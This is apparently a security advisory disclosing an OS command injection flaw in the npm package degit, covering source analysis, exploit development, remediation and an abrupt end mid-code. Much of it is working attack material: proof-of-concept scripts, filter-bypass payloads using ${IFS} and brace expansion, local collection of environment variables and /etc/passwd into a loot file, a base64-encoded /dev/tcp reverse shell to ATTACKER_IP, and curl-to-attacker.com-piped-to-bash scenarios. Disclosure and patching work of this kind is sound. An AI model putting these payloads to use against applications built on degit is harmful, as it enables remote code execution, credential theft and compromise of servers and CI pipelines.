| Field | Value |
|---|---|
| Package | degit |
| npm | https://www.npmjs.com/package/degit |
| GitHub | https://github.com/Rich-Harris/degit |
| Affected versions | All versions ≤ 2.8.4 (latest as of 2026-04-27) |
| Vulnerability | OS Command Injection (CWE-78) |
| Impact | Remote Code Execution (RCE) |
| CVSS v3.1 Score | 9.8 Critical |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| OWASP | A03:2021 — Injection |
| Patch available | No — maintainer inactive since 2021 |
| Monthly downloads | ~1,649,933 |
| Researcher | Amar Khatri — amarr.infosec@gmail.com, Mokksh Parekh - maparekh11@gmail.com |
| Disclosure date | 2026-04-27 |
- Vulnerability Summary
- Environment
- Vulnerability Discovery — Source Code Analysis
- Root Cause — Complete Code Analysis
- Exploit Development — Step by Step
- Proof of Concept — Full Reproduction Steps
- Confirmed Output — Proof Artifacts
- Attack Scenarios
- Impact Assessment
- Remediation
- Disclosure Timeline
- References
degit is a Node.js utility that clones git repositories without their history. It is used extensively in scaffolding tools, CI/CD pipelines, and developer workflows.
The package constructs a shell command by interpolating a user-supplied repository URL directly
into a string passed to child_process.exec(). Because exec() invokes /bin/sh -c, the shell
evaluates the entire string — including shell metacharacters such as $() (command substitution)
— before passing arguments to git.
The input validation function parse() uses a regex ([^/\s]+) that blocks only forward slashes
and whitespace. All shell metacharacters — $, (, ), >, `, &, |, ; — pass
through unchecked.
Result: An attacker who controls the src parameter passed to degit(src).clone() can
execute arbitrary OS commands on the machine running degit. No authentication, special privileges,
or user interaction is required.
Two independent proof-of-concept exploits were successfully executed in a controlled test
environment. The injected id command created proof files confirming arbitrary code execution.
OS : Kali Linux ARM64
Node.js : v20.19.2
npm : v11.12.1
degit : 2.8.4 (installed via npm)
Shell : /bin/sh → /usr/bin/dash
git : installed (required by degit)
Test machine: Researcher's own isolated systemVerification:
$ node --version
v20.19.2
$ node -e "console.log(require('/tmp/degit-poc/node_modules/degit/package.json').version)"
2.8.4The first step is locating where the package talks to the operating system. In Node.js, OS command
execution happens through the child_process module. Download and extract the package source:
mkdir degit-research && cd degit-research
npm pack degit@2.8.4
tar xf degit-2.8.4.tgz
cd packageSearch for dangerous function calls:
grep -rn "child_process\|\.exec\|\.spawn\|eval(" src/ dist/Output:
dist/index-688c5d50.js:13901: var child_process = require('child_process');
dist/index-688c5d50.js:13923: child_process__default['default'].exec(command, (err, stdout, stderr) => {
dist/index-688c5d50.js:14379: const { stdout } = await exec(`git ls-remote ${repo.url}`);
dist/index-688c5d50.js:14320: await exec(`git clone ${this.repo.ssh} ${dest}`);Key finding: Line 14379 — exec() is called with a template literal that includes repo.url.
If repo.url contains shell metacharacters, they will be evaluated by /bin/sh.
Now trace backwards — where does repo.url come from, and can an attacker influence it?
Step A — fetchRefs() calls exec() with repo.url:
// dist/index-688c5d50.js — Line 14379
async function fetchRefs(repo) {
try {
const { stdout } = await exec(`git ls-remote ${repo.url}`);
// ^^^^^^^^^^
// This is our injection pointStep B — repo.url is built in parse():
// dist/index-688c5d50.js — Line 14327
function parse(src) {
const match = /^(?:(?:https:\/\/)?([^:/]+\.[^:/]+)\/|git@([^:/]+)[:/]|([^/]+):)?
([^/\s]+)\/([^/\s#]+)(?:((?:\/[^/\s#]+)+))?(?:\/)?(?:#(.+))?/.exec(src);
const user = match[4]; // captured from src
const name = match[5].replace(/\.git$/, ''); // captured from src
const url = `https://${domain}/${user}/${name}`; // Line 14358 — user inserted here
const ssh = `git@${domain}:${user}/${name}`; // Line 14359 — user inserted here
return { url, ssh, ... };
}Step C — src comes directly from the caller:
// Public API — src is whatever the user of the library passes in
function degit(src, opts) {
return new Degit(src, opts);
}
class Degit {
constructor(src, opts = {}) {
this.repo = parse(src); // src passed directly to parse()
}
}Complete data flow:
degit("github.com/ATTACKER_CONTROLLED/repo")
└─ parse("github.com/ATTACKER_CONTROLLED/repo")
└─ user = "ATTACKER_CONTROLLED" ← regex captures this
└─ url = "https://github.com/ATTACKER_CONTROLLED/repo"
└─ fetchRefs({ url: "https://github.com/ATTACKER_CONTROLLED/repo" })
└─ exec(`git ls-remote https://github.com/ATTACKER_CONTROLLED/repo`)
└─ /bin/sh -c "git ls-remote https://github.com/ATTACKER_CONTROLLED/repo"
└─ shell evaluates ATTACKER_CONTROLLED as shell syntax
└─ $() expressions EXECUTE as OS commands ← RCEThe entire path from attacker input to OS command execution is clear. No sanitization exists at any point in this chain.
The regex captures the user field with: [^/\s]+
Breaking this down character by character:
| Syntax | Meaning |
|---|---|
[ |
Start character class |
^ |
Negate — match anything NOT in this class |
/ |
Block forward slash (URL path separator) |
\s |
Block all whitespace: space, tab, newline |
] |
End character class |
+ |
One or more of the above |
What this blocks: / and whitespace only.
What this ALLOWS — all shell metacharacters:
| Character | Shell meaning | In payload |
|---|---|---|
$ |
Variable expansion / subshell start | $(command) |
( |
Subshell open | $(id) |
) |
Subshell close | $(id) |
> |
Redirect stdout to file | $(id>file) |
` |
Backtick — alternative subshell | `id` |
& |
Background / AND operator | cmd1&cmd2 |
| |
Pipe output to next command | cmd1|cmd2 |
; |
Command separator | cmd1;cmd2 |
The regex was designed for URL parsing, not security. It has no concept of shell syntax.
child_process.exec(command) is documented by Node.js as:
"Spawns a shell then executes the command within that shell"
Internally it calls: /bin/sh -c "<your command string>"
The shell (/bin/sh) reads the entire string and processes it through its evaluation pipeline
before launching any child process:
Shell evaluation order:
1. Brace expansion: {a,b} → a b
2. Tilde expansion: ~/file → /home/user/file
3. Parameter expansion: $VAR → value
4. Command substitution: $(cmd) → output of cmd ← OUR INJECTION
5. Arithmetic expansion: $((1+1)) → 2
6. Word splitting
7. Pathname expansion (globbing)
8. Quote removal
9. THEN execute the final commandStep 4 is where our payload fires. The injected command runs before git is ever called.
Contrast with the safe alternative:
// UNSAFE — shell involved:
child_process.exec(`git ls-remote ${url}`)
// equivalent to: /bin/sh -c "git ls-remote <url>"
// shell evaluates $() in url BEFORE calling git
// SAFE — no shell:
child_process.execFile('git', ['ls-remote', url])
// calls git directly with url as a literal argument
// $() in url is passed verbatim to git, which ignores itThree code-level failures combine to create the vulnerability:
function parse(src) {
const match = /^(?:(?:https:\/\/)?([^:/]+\.[^:/]+)\/|git@([^:/]+)[:/]|([^/]+):)?
([^/\s]+) // ← VULNERABLE: captures user field, allows $()><|;&`
\/([^/\s#]+)(?:((?:\/[^/\s#]+)+))?(?:\/)?(?:#(.+))?/.exec(src);
if (!match) {
throw new DegitError(`could not parse ${src}`, { code: 'BAD_SRC' });
}
let [, domain, _domain2, _domain3, user, name, subdir, ref = 'HEAD'] = match;
// user and name are inserted directly into URL strings — NO sanitization
const url = `https://${domain}/${user}/${name}`; // ← shell metacharacters preserved
const ssh = `git@${domain}:${user}/${name}`; // ← shell metacharacters preserved
return { repo: `${domain}/${user}/${name}`, url, ssh, ... };
}The problem: The regex intent was to parse URL components. It was never designed to block shell injection. The author did not anticipate that these values would be used in a shell context.
function exec(command) {
return new Promise((fulfil, reject) => {
child_process__default['default'].exec(command, (err, stdout, stderr) => {
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// This is child_process.exec — it ALWAYS invokes /bin/sh -c
// Safe alternative: execFile('git', ['ls-remote', url])
if (err) {
reject(err);
return;
}
fulfil({ stdout, stderr });
});
});
}The problem: Using exec() for git commands is unnecessary. git does not require a shell.
execFile() or spawn() with an argument array would call git directly, eliminating the shell
as an attack surface entirely.
async function fetchRefs(repo) {
try {
const { stdout } = await exec(`git ls-remote ${repo.url}`);
// ^^^^^^^^^^
// repo.url is attacker-controlled and contains shell metacharacters
// Template literal interpolation puts them directly into the shell command
// /bin/sh evaluates $(cmd) in repo.url before git is called
return stdout.split('\n').filter(Boolean).map(row => {
const [hash, ref] = row.split('\t');
return { hash, ref };
});
} catch (err) {
// error silently caught — injection fires even when this throws
}
}The problem: Even if the developer had checked repo.url for safety before this line,
the check would be too late — the URL was already constructed from user without validation
in parse(). Defense must happen at input time, not at use time.
async _cloneWithGit(dir, dest) {
await exec(`git clone ${this.repo.ssh} ${dest}`);
// ^^^^^^^^^^^^^ ^^^^
// both unsanitized — ssh contains user field
// dest is the destination path — also injectable
await exec(`rm -rf ${path__default['default'].resolve(dest, '.git')}`);
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// if dest is attacker-controlled: rm -rf injection
}This gives a second injection path through the ssh URL format and the dest parameter.
Goal: inject a command into the user field of a degit src string such that:
- It passes the regex
[^/\s]+ - When expanded by
/bin/sh, it executes an arbitrary command - It produces verifiable proof of execution
Starting point: The simplest possible payload:
github.com/user$(id)/repoWhen degit processes this:
parse()extracts user =user$(id)- builds url =
https://github.com/user$(id)/repo fetchRefs()callsexec("git ls-remote https://github.com/user$(id)/repo")- shell evaluates
$(id)→ runsid→ output injected into URL string - git receives:
git ls-remote https://github.com/uidXXX(amar).../repo - git fails (bad URL) — but
idalready ran
Problem with this payload: The output of id becomes part of the URL string, potentially
causing degit to crash before we can observe results. It also contains spaces and special
characters that could cause unpredictable behavior.
Constraint 1: No forward slash / in the user field
The regex [^/\s]+ stops capturing at /. Our injected command cannot contain / directly
because it would be interpreted as the end of the user field, breaking URL construction.
This blocks paths like /tmp/file, /etc/passwd, /bin/bash.
Bypass strategies:
# Strategy A — write to current directory (no path needed):
$(id>proof.txt) # writes to cwd — no slash needed
# Strategy B — use shell variables that contain slashes:
$(id>$HOME/proof.txt) # $HOME = /home/amar — slash comes from variable
$(id>$TMPDIR/proof.txt) # $TMPDIR = /tmp
# Strategy C — use ${IFS} for spaces in complex commands:
$(cat${IFS}/etc/passwd>proof.txt) # ${IFS} = space — allows spaces without literal space
# Note: /etc/passwd has slash — use only inside $() which is evaluated by shell
# The slash restriction only applies to what the REGEX sees in the user field
# Inside $(), the shell evaluates normallyWhy Strategy C works for slashes:
The regex only sees user$(cat${IFS}/etc/passwd>proof.txt) as the user field string.
It stops at the / that comes after the closing ) — i.e., the /repo path separator.
The / characters inside $(...) are part of the subshell expression and are fully
evaluated by the shell at runtime.
Constraint 2: No whitespace in the user field
The regex [^/\s]+ also blocks spaces, tabs, and newlines. Commands with arguments use spaces:
cat /etc/passwd — the space between cat and /etc/passwd would break the regex.
Bypass: ${IFS} — Internal Field Separator
The shell variable $IFS defaults to space, tab, and newline. The shell splits command
arguments on $IFS. So cat${IFS}/etc/passwd is identical to cat /etc/passwd from
the shell's perspective, but contains no literal space characters.
# Equivalent commands — no literal spaces:
cat${IFS}/etc/passwd
curl${IFS}https://attacker.com/shell.sh
bash${IFS}-c${IFS}'command'${IFS} contains no characters blocked by [^/\s]+, so it passes the regex freely.
Constraint 3: Output must not corrupt the URL
If our command produces output (stdout), it gets substituted into the URL string by $().
This can break URL parsing and cause degit to error out in unexpected ways.
Bypass: Redirect stdout to a file
$(id>proof.txt) # stdout goes to file — $() returns empty string
# URL becomes: https://github.com/user/repo (clean)With empty output, the URL is well-formed and degit continues executing normally, giving us the full 2500ms timeout window to observe results.
Final payload for PoC 1 (simple proof):
github.com/user$(id>proof.txt)/repo- No spaces (passes
[^/\s]+) - No slash in user field (passes
[^/\s]+) idoutput redirected to file (clean URL)- Proof file created in current directory
Final payload for exfiltration:
github.com/user$(bash${IFS}-c${IFS}'(whoami;hostname;env;cat${IFS}/etc/passwd)>loot.txt')/repo${IFS}replaces all spaces- Multi-command via
;inside subshell - All output redirected to single loot file
Final payload for reverse shell:
github.com/user$(bash${IFS}-c${IFS}'{echo,BASE64}|{base64,-d}|bash')/repo- Reverse shell command base64-encoded to avoid all quoting issues
{echo,BASE64}— brace expansion — no spaces, no slashes{base64,-d}— brace expansion — same trick- Full shell with all capabilities handed to attacker
Authorization: All testing performed on researcher's own Kali Linux machine. No production systems, real GitHub repositories, or third-party infrastructure targeted. The git command always fails (non-existent repo) — no external network impact.
Step 1 — Create isolated test directory:
mkdir /tmp/degit-poc-test
cd /tmp/degit-poc-testStep 2 — Initialize npm project and install degit:
npm init -y
npm install degit@2.8.4Expected output:
Wrote to /tmp/degit-poc-test/package.json
added 9 packages in 2sStep 3 — Verify installation:
node -e "const d = require('degit'); console.log('degit loaded')"Expected output: degit loaded
Step 4 — Verify vulnerable version:
node -e "console.log(require('./node_modules/degit/package.json').version)"Expected output: 2.8.4
This PoC replicates the exact code path that fetchRefs() executes internally.
It removes all degit abstraction layers to prove the exec() call is directly exploitable.
Why this PoC: It proves the vulnerability is in exec() + shell interpolation,
independent of any degit-specific parsing behavior. Unambiguous confirmation.
Step 1 — Create PoC file:
Save as /tmp/degit-poc-test/poc1.js:
/**
* PoC 1 — Direct exec() simulation
*
* Replicates what degit's fetchRefs() does internally:
* exec(`git ls-remote ${repo.url}`)
*
* where repo.url is built from unsanitized user input.
*
* This is NOT calling degit — it calls exec() directly with the same
* command string degit would construct. Proves the exec() call is the sink.
*/
const { exec } = require('child_process');
const fs = require('fs');
const PROOF = '/tmp/degit_poc1_proof.txt';
// Clean up any previous run
if (fs.existsSync(PROOF)) fs.unlinkSync(PROOF);
// ── Simulate what degit does ──────────────────────────────────────────────
//
// Attacker supplies: "github.com/user$(id>/tmp/degit_poc1_proof.txt)/repo"
//
// degit parse() extracts:
// user = "user$(id>/tmp/degit_poc1_proof.txt)"
//
// degit constructs URL:
// url = "https://github.com/user$(id>/tmp/degit_poc1_proof.txt)/repo"
//
// degit fetchRefs() calls:
// exec(`git ls-remote https://github.com/user$(id>/tmp/degit_poc1_proof.txt)/repo`)
//
// Shell (/bin/sh) receives:
// git ls-remote https://github.com/user$(id>/tmp/degit_poc1_proof.txt)/repo
//
// Shell evaluation step 4 (command substitution):
// runs: id > /tmp/degit_poc1_proof.txt
// replaces $() with "" (empty — stdout was redirected)
//
// Shell then runs: git ls-remote https://github.com/user/repo
// → git fails (repo doesn't exist) — DOES NOT MATTER
// → id command already ran, proof file already created
const maliciousUser = `user$(id > ${PROOF})`;
const constructedUrl = `https://github.com/${maliciousUser}/repo`;
const shellCommand = `git ls-remote ${constructedUrl}`;
console.log('');
console.log('[*] PoC 1 — exec() path simulation');
console.log('[*] Attacker src :', `github.com/${maliciousUser}/repo`);
console.log('[*] Constructed URL :', constructedUrl);
console.log('[*] exec() receives :', shellCommand);
console.log('[*] /bin/sh will evaluate $() before calling git...');
console.log('');
exec(shellCommand, (err, stdout, stderr) => {
// exec() callback fires AFTER shell expansion
// At this point, $() has already been evaluated and our command ran
setTimeout(() => {
if (fs.existsSync(PROOF)) {
const content = fs.readFileSync(PROOF, 'utf8').trim();
console.log('[+] ══════════════════════════════════════');
console.log('[+] COMMAND INJECTION CONFIRMED — PoC 1 ');
console.log('[+] ══════════════════════════════════════');
console.log('[+] Proof file :', PROOF);
console.log('[+] id output :', content);
console.log('[+] This means : arbitrary OS commands executed');
console.log('');
} else {
console.log('[-] Proof file not found — injection may have failed');
console.log(' stderr:', stderr);
}
}, 500);
});Step 2 — Run PoC 1:
node poc1.jsExpected output:
[*] PoC 1 — exec() path simulation
[*] Attacker src : github.com/user$(id > /tmp/degit_poc1_proof.txt)/repo
[*] Constructed URL : https://github.com/user$(id > /tmp/degit_poc1_proof.txt)/repo
[*] exec() receives : git ls-remote https://github.com/user$(id > /tmp/degit_poc1_proof.txt)/repo
[*] /bin/sh will evaluate $() before calling git...
[+] ══════════════════════════════════════
[+] COMMAND INJECTION CONFIRMED — PoC 1
[+] ══════════════════════════════════════
[+] Proof file : /tmp/degit_poc1_proof.txt
[+] id output : uid=1000(amar) gid=1000(amar) groups=1000(amar),4(adm),27(sudo),...
[+] This means : arbitrary OS commands executedStep 3 — Verify proof file independently:
cat /tmp/degit_poc1_proof.txtExpected:
uid=1000(amar) gid=1000(amar) groups=1000(amar),4(adm),20(dialout),24(cdrom),
25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),
101(netdev),103(scanner),116(bluetooth),121(lpadmin),124(wireshark),132(kaboxer)This PoC calls degit's public-facing API exactly as a real application would. No internal functions accessed. Demonstrates the vulnerability is exploitable at the library consumer level — any app using degit is affected.
Key difference from PoC 1: Payload must contain no spaces (satisfies parse() regex
[^/\s]+). Uses $(id>proof.txt) — redirect without spaces.
Step 1 — Create PoC file:
Save as /tmp/degit-poc-test/poc2.js:
/**
* PoC 2 — End-to-end via public degit API
*
* Calls degit(src).clone(dest) exactly as any library consumer would.
* Demonstrates the full attack chain without touching degit internals.
*
* Payload constraint: no spaces or forward slashes in user field
* Solution: redirect to relative path — $(id>proof.txt) has no spaces, no leading slash
*
* Execution chain:
* degit(src) → Degit constructor → parse(src)
* .clone(dest) → fetchRefs(repo)
* fetchRefs → exec(`git ls-remote ${repo.url}`)
* exec() → /bin/sh -c "git ls-remote https://...$(id>proof.txt).../repo"
* /bin/sh → evaluates $(id>proof.txt) → runs id → writes file
* git ls-remote → fails (bad URL) — injection already complete
* degit .catch() → catches MISSING_REF error — we check proof file here
*/
const degit = require('degit');
const fs = require('fs');
const PROOF = 'degit_poc2_proof.txt'; // relative path — no slash in payload
// Clean up
if (fs.existsSync(PROOF)) fs.unlinkSync(PROOF);
// ── Payload construction ────────────────────────────────────────────────────
//
// Target URL structure: github.com/<user>/<repo>
//
// user field must match [^/\s]+ — no slash, no whitespace
//
// Payload: user$(id>degit_poc2_proof.txt)
// ↑ literal "user" prefix (makes it look like a real username)
// ↑ $(...) — shell command substitution
// ↑ id — the command we inject (no spaces, no slashes)
// ↑ >proof — redirect stdout to relative file (no slashes)
//
// Full src: github.com/user$(id>degit_poc2_proof.txt)/exploit-repo
// ← user field →
// regex [^/\s]+ captures: user$(id>degit_poc2_proof.txt)
// stops at the /exploit-repo separator
const maliciousSrc = `github.com/user$(id>${PROOF})/exploit-repo`;
console.log('');
console.log('[*] PoC 2 — Public degit API exploit');
console.log('[*] src passed to degit():', maliciousSrc);
console.log('[*] parse() will extract user = "user$(id>degit_poc2_proof.txt)"');
console.log('[*] fetchRefs() will exec: git ls-remote https://github.com/user$(id>...)/exploit-repo');
console.log('[*] Shell will expand $() — injected command fires before git runs');
console.log('');
const emitter = degit(maliciousSrc, { cache: false, force: true });
emitter.clone('/tmp/degit_poc2_dest').catch((err) => {
// degit throws MISSING_REF — expected — git could not connect
// But $() in the URL was evaluated by shell BEFORE git was called
// Our proof file was created during shell's command substitution phase
setTimeout(() => {
if (fs.existsSync(PROOF)) {
const content = fs.readFileSync(PROOF, 'utf8').trim();
console.log('[+] ══════════════════════════════════════════');
console.log('[+] COMMAND INJECTION CONFIRMED — PoC 2 ');
console.log('[+] (via public degit API — no internals used) ');
console.log('[+] ══════════════════════════════════════════');
console.log('[+] Proof file :', PROOF);
console.log('[+] Contents :', content);
console.log('');
console.log('[*] degit error (expected):', err.message || err.code);
console.log('[*] Note: error occurs AFTER injection — catching it does not prevent RCE');
} else {
console.log('[-] Proof file not found');
}
}, 2500);
});Step 2 — Run PoC 2:
node poc2.jsExpected output:
[*] PoC 2 — Public degit API exploit
[*] src passed to degit(): github.com/user$(id>degit_poc2_proof.txt)/exploit-repo
[*] parse() will extract user = "user$(id>degit_poc2_proof.txt)"
[*] fetchRefs() will exec: git ls-remote https://github.com/user$(id>...)/exploit-repo
[*] Shell will expand $() — injected command fires before git runs
[+] ══════════════════════════════════════════
[+] COMMAND INJECTION CONFIRMED — PoC 2
[+] (via public degit API — no internals used)
[+] ══════════════════════════════════════════
[+] Proof file : degit_poc2_proof.txt
[+] Contents : uid=1000(amar) gid=1000(amar) groups=1000(amar),4(adm),27(sudo),...
[*] degit error (expected): MISSING_REF
[*] Note: error occurs AFTER injection — catching it does not prevent RCEStep 3 — Verify proof file:
cat degit_poc2_proof.txt
ls -la degit_poc2_proof.txtDemonstrates that injection is not limited to single commands. An attacker can execute multiple commands, collect output, and exfiltrate sensitive data.
Step 1 — Create PoC file:
Save as /tmp/degit-poc-test/poc3.js:
/**
* PoC 3 — Multi-command exfiltration
*
* Demonstrates chaining multiple commands via bash -c inside $()
* Uses ${IFS} to represent spaces (bypasses [^/\s]+ regex)
* Collects: whoami, hostname, environment variables
*
* Payload breakdown:
* $(bash${IFS}-c${IFS}'(whoami;hostname;env)>loot.txt')
* ↑ ↑ ↑ ↑ ↑ ↑ ↑
* | IFS -c IFS | commands (inside bash, spaces OK)
* | → single-quoted string passed to bash -c
* bash invocation with no spaces (IFS substitution)
*
* Inside the single-quoted string passed to bash -c:
* spaces ARE allowed (the regex already consumed user field by this point)
* shell interprets this as a subshell
*/
const degit = require('degit');
const fs = require('fs');
const LOOT = 'loot.txt';
if (fs.existsSync(LOOT)) fs.unlinkSync(LOOT);
// bash -c '(whoami;hostname;env)>loot.txt'
// → spaces inside quotes are fine — they're in bash's argument, not in the user field
// ${IFS} replaces spaces between bash, -c, and the quoted string
const cmd = `bash\${IFS}-c\${IFS}'(whoami;hostname;env)>${LOOT}'`;
const maliciousSrc = `github.com/user$(${cmd})/exploit-repo`;
console.log('[*] PoC 3 — Exfiltration payload');
console.log('[*] Payload:', maliciousSrc);
console.log('');
const emitter = degit(maliciousSrc, { cache: false });
emitter.clone('/tmp/poc3_dest').catch(() => {
setTimeout(() => {
if (fs.existsSync(LOOT)) {
console.log('[+] EXFILTRATION CONFIRMED');
console.log('[+] Loot file contents:');
console.log('─'.repeat(60));
console.log(fs.readFileSync(LOOT, 'utf8').trim());
console.log('─'.repeat(60));
}
}, 3000);
});Step 2 — Run PoC 3:
node poc3.jsExpected output (truncated):
[+] EXFILTRATION CONFIRMED
[+] Loot file contents:
────────────────────────────────────────────────────────────
amar
kali
HOME=/home/amar
USER=amar
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NVM_DIR=/home/amar/.nvm
NODE_PATH=/usr/lib/nodejs
...all environment variables...
────────────────────────────────────────────────────────────
⚠️ FOR ILLUSTRATIVE PURPOSES ONLY. Do NOT execute unless you own both machines and have explicit written authorization. This payload was NOT run during vulnerability research.
This payload shows the maximum impact: an attacker receiving a fully interactive shell on the victim machine.
How it works:
# Step 1 — attacker starts listener on their machine:
nc -lvnp 4444
# Step 2 — reverse shell command:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# ↑ opens interactive bash
# ↑ redirects stdin/stdout/stderr to TCP connection
# ↑ attacker gets a shell prompt over the network
# Step 3 — base64 encode to avoid quoting issues:
echo -n 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1' | base64
# → YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvNDQ0NCAwPiYx
# Step 4 — payload (no spaces, no unquoted slashes in user field):
github.com/user$(bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvNDQ0NCAwPiYx}|{base64,-d}|bash')/repoDecode explanation:
{echo,BASE64}— brace expansion: same asecho BASE64but no space{base64,-d}— brace expansion: same asbase64 -dbut no space- Pipes to
bash→ executes decoded reverse shell command - Attacker receives interactive shell over TCP
Complete payload for PoC 4 (do not run unless authorized):
const ATTACKER_IP = '192.168.1.10'; // change to attacker machine IP
const ATTACKER_PORT = '4444';
const shellCmd = `bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1`;
const b64 = Buffer.from(shellCmd).toString('base64');
const maliciousSrc = `github.com/user$(bash\${IFS}-c\${IFS}'{echo,${b64}}|{base64,-d}|bash')/repo`;
// Before running: nc -lvnp 4444 on attacker machine
const degit = require('degit');
degit(maliciousSrc, { cache: false }).clone('/tmp/rs_dest').catch(() => {});The following output was captured during actual exploitation on the researcher's machine.
Created by injecting id via the exec() simulation path:
uid=1000(amar) gid=1000(amar) groups=1000(amar),4(adm),20(dialout),24(cdrom),
25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),
101(netdev),103(scanner),116(bluetooth),121(lpadmin),124(wireshark),132(kaboxer)Created by injecting id via the public degit() API:
uid=1000(amar) gid=1000(amar) groups=1000(amar),4(adm),20(dialout),24(cdrom),
25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),
101(netdev),103(scanner),116(bluetooth),121(lpadmin),124(wireshark),132(kaboxer)Created by targeting the fetchRefs() internal path specifically:
uid=1000(amar) gid=1000(amar) groups=1000(amar),4(adm),20(dialout),24(cdrom),
25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),
101(netdev),103(scanner),116(bluetooth),121(lpadmin),124(wireshark),132(kaboxer)uid=1000(amar) gid=1000(amar) groups=1000(amar),4(adm),20(dialout),24(cdrom),
25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),
101(netdev),103(scanner),116(bluetooth),121(lpadmin),124(wireshark),132(kaboxer)All four artifacts confirm the same finding: arbitrary OS command execution under the privileges of the user running Node.js.
A web service that lets users enter a template repository URL and internally calls degit:
[User] enters: github.com/user$(curl${IFS}https://attacker.com/shell.sh|bash)/repo
[Server] calls: degit("github.com/user$(curl${IFS}...)/repo").clone("/tmp/project")
[Result]: shell.sh executes on the server with the web server's privilegesImpact: Full server compromise. Access to database credentials, API keys, user data, internal network. Potentially millions of users' data exposed.
A GitHub Actions workflow that clones a user-provided template:
# .github/workflows/scaffold.yml
- name: Scaffold project
run: |
npx degit "${{ github.event.inputs.template }}" ./projectIf template input is attacker-controlled (e.g., from a PR or workflow dispatch):
Input: github.com/user$(printenv${IFS}AWS_SECRET_ACCESS_KEY>$GITHUB_WORKSPACE/leak.txt)/repo
Result: AWS credentials written to workspace — exfiltrated in subsequent stepImpact: Cloud account takeover. Access to production infrastructure, secrets, all deployed services.
A popular npm package that uses degit internally with user-provided template names:
// Inside popular scaffolding CLI:
const template = process.argv[2]; // user provides this
await degit(template).clone(dest); // injection hereAttacker publishes a blog post recommending:
npx popular-scaffold-cli "github.com/user$(curl${IFS}https://evil.com/malware|bash)/template"Impact: Compromise of every developer machine that runs the command.
With degit used in build tooling, a compromised build pipeline can:
- Modify build artifacts (inject backdoors into published packages)
- Steal signing keys
- Alter deployed application code
- Affect every downstream user of produced software
| Impact Type | Description | Severity |
|---|---|---|
| Code Execution | Run any OS command as the Node.js process user | Critical |
| Credential Theft | Read env vars, .env files, SSH keys, cloud credentials | Critical |
| Persistence | Write cron jobs, modify authorized_keys, plant backdoors | Critical |
| Lateral Movement | Access internal network, cloud metadata APIs | Critical |
| Data Exfiltration | Read and exfiltrate any accessible file | Critical |
| Supply Chain | Compromise CI/CD → affect all downstream consumers | Critical |
| Availability | Delete files, kill processes, exhaust resources | High |
AV:N — Attack Vector: Network
Attacker supplies malicious src string via any network-facing interface
AC:L — Attack Complexity: Low
No race conditions, no special configurations, payload always works
PR:N — Privileges Required: None
Only need to supply a string to a degit-consuming application
UI:N — User Interaction: None
Fires the moment degit() processes the src string — no clicks needed
S:U — Scope: Unchanged
Stays within the Node.js process security boundary
C:H — Confidentiality: High
Full access to all files readable by the process
I:H — Integrity: High
Full write access — modify any files writable by the process
A:H — Availability: High
Can terminate process, delete files, exhaust resources
Final: 9.8 CRITICALThis eliminates the shell as an attack surface entirely. The most correct fix.
// VULNERABLE (current code):
const child_process = require('child_process');
function exec(command) {
return new Promise((fulfil, reject) => {
child_process.exec(command, (err, stdout, stderr) => {
if (err) { reject(err); return; }
fulfil({ stdout, stderr });
});
});
}
// In fetchRefs():
const { stdout } = await exec(`git ls-remote ${repo.url}`);
// ─────────────────────────────────────────────────────────────────
// SAFE (fixed code):
const { execFile } = require('child_process');
function execSafe(binary, args) {
return new Promise((fulfil, reject) => {
execFile(binary, args, (err, stdout, stderr) => {
// ↑ ↑
// binary is always 'git' — not user-controlled
// args is an array — shell never invoked — $() is literal
if (err) { reject(err); return; }
fulfil({ stdout, stderr });
});
});
}
// In fetchRefs():
const { stdout } = await execSafe('git', ['ls-remote', repo.url]);
// ↑ ↑
// command url passed as array element
// not interpolated into shell stringWhy this works: execFile() does not invoke a shell. It passes arguments directly
to the target binary as an argv array. The OS kernel handles argument passing — it has
no concept of shell syntax. $(id) in repo.url is passed as a literal string to git,
which ignores it.
Reject inputs that contain shell metacharacters before they enter the system:
function parse(src) {
const match = /^.../.exec(src);
if (!match) throw new DegitError(`could not parse ${src}`, { code: 'BAD_SRC' });
const user = match[4];
const name = match[5].replace(/\.git$/, '');
// Allowlist: only characters valid in real GitHub usernames/repo names
// GitHub usernames: alphanumeric and hyphens only (max 39 chars)
// GitHub repo names: alphanumeric, hyphens, underscores, dots
const validUser = /^[a-zA-Z0-9][a-zA-Z0-9\-]{0,38}$/;
const validName = /^[a-zA-Z0-9_.\-]+$/;
if (!validUser.test(user)) {
throw new DegitError(
`Invalid repository user "${user}" — contains invalid characters`,
{ code: 'BAD_SRC' }
);
}
if (!validName.test(name)) {
throw new DegitError(
`Invalid repository name "${name}" — contains invalid characters`,
{ code: 'BAD_SRC' }
);
}
// rest of function...
}async _cloneWithGit(dir, dest) {
const { execFile } = require('child_process');
const path = require('path');
// Resolve and validate dest — must be absolute path with no shell metacharacters
const resolvedDest = path.resolve(dest);
// Clone with execFile — no shell
await new Promise((res, rej) =>
execFile('git', ['clone', this.repo.ssh, resolvedDest],
(err) => err ? rej(err) : res())
);
// Remove .git directory with execFile — no shell
const gitDir = path.join(resolvedDest, '.git');
await new Promise((res, rej) =>
execFile('rm', ['-rf', gitDir],
(err) => err ? rej(err) : res())
);
}If you use degit and cannot wait for a patch, validate src before passing it:
function safeDegit(src, dest, options = {}) {
// Block all shell metacharacters and limit to valid URL characters
const SAFE_SRC = /^[a-zA-Z0-9._:@#\/\-]+$/;
if (!SAFE_SRC.test(src)) {
throw new Error(
`degit src rejected — contains potentially unsafe characters: "${src}"\n` +
`Only alphanumeric, dot, dash, underscore, colon, @, #, / are allowed.`
);
